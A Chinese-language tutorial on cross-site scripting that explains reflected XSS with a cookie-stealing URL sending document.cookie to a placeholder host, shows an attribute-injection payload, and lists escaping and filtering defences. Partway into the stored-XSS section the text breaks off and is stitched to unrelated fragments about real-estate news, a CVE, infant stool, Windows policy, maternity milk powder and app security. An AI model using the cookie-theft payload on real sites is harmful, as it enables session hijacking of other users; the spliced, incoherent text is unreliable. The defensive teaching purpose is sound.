XSS(cross-site scripting跨域脚本攻击)攻击是最常见的Web攻击,其重点是“跨域”和“客户端执行”。有人将XSS攻击分为三种,分别是:
1. Reflected XSS(基于反射的XSS攻击)
2. Stored XSS(基于存储的XSS攻击)
3. DOM-based or local XSS(基于DOM或本地的XSS攻击)
Reflected XSS
基于反射的XSS攻击,主要依靠站点服务端返回脚本,在客户端触发执行从而发起Web攻击。
例子:
1. 做个假设,当亚马逊在搜索书籍,搜不到书的时候显示提交的名称。
2. 在搜索框搜索内容,填入“”, 点击搜索。
3. 当前端页面没有对返回的数据进行过滤,直接显示在页面上, 这时就会alert那个字符串出来。
4. 进而可以构造获取用户cookies的地址,通过 *** 群或者垃圾邮件,来让其他人点击这个地址:
1 | http://www.amazon.cn/search?name=<script>document.location='http://xxx/get?cookie='+document.cookiescript> |
S:这个地址当然是没效的,只是举例子而已。
结论:
如果只是1、2、3步做成功,那也只是自己折腾自己而已,如果第4步能做成功,才是个像样的XSS攻击。
开发安全措施:
1. 前端在显示服务端数据时候,不仅是标签内容需要过滤、转义,就连属性值也都可能需要。
2. 后端接收请求时,验证请求是否为攻击请求,攻击则屏蔽。
例如:
标签:
1 |
转义
1 | #39;handsome boy')> |
属性:
如果一个input的value属性值是
1 | 琅琊榜" onclick="javascript:alert('handsome boy') |
就可能出现
1 | "text"value="琅琊榜"onclick="javascript:alert('handsome boy')"> |
点击input导致攻击脚本被执行,解决方式可以对script或者双引号进行过滤。
Stored XSS
基于存储的XSS攻击,是通过发表带有恶意跨域脚本的帖子/文章,从而把恶意脚本存储在服务器,每个访问该帖子/文章的人就会触发执行。
例子:
朱中一参会演讲内容,朱中一个人简介。 (原建设部办公厅主任、中国房地产业协会原副会长朱中一接受中国房地产报记者独家专访) 李福英 中房报记者 陈海岚|济南报道 “只有守住质...
}CVE-2014-4114缝隙简析Step 1再创立IHelloImpl类完成java.rmi.server.UniCastRemoteObject类并包括IHello接口(IHelloImpl.j...
. 对于家长来说知道宝宝的身体的健康是通过宝宝身体的天气预报来了解的,宝宝的天气预报的方式就是通过拉粑粑让父母知晓,那么宝宝什么样的大便才健康呢?当宝宝的大便出现问题怎么办呢?下面友谊长存的小编为大...
Microsoft宣布了windows 10v1903(19H1)和Windows Server v1903的配置基线设置草稿版本,以及从windows 10May 2019更新开始删除密码到期策略...
. 雀巢孕妇奶粉好吃吗,雀巢孕妇奶粉怎么样,雀巢孕妇奶粉孕妈妈吃好不好呢,不少怀孕的妈妈们对妈妈奶粉有很大的疑问,友谊长存小编就来说说关于雀巢妈妈奶粉的相关解答吧。 雀巢妈妈奶粉怎么样 早在15...
为什么APP会被黑客攻击? 此外,还有一些APP可能会自动保存我们的搜索历史、位置等信息。如果这些信息落入了不法分子之手,就会给我们带来很大的麻烦。比如,他们可以利用这些信息对我们进行诈骗、盗窃等行为...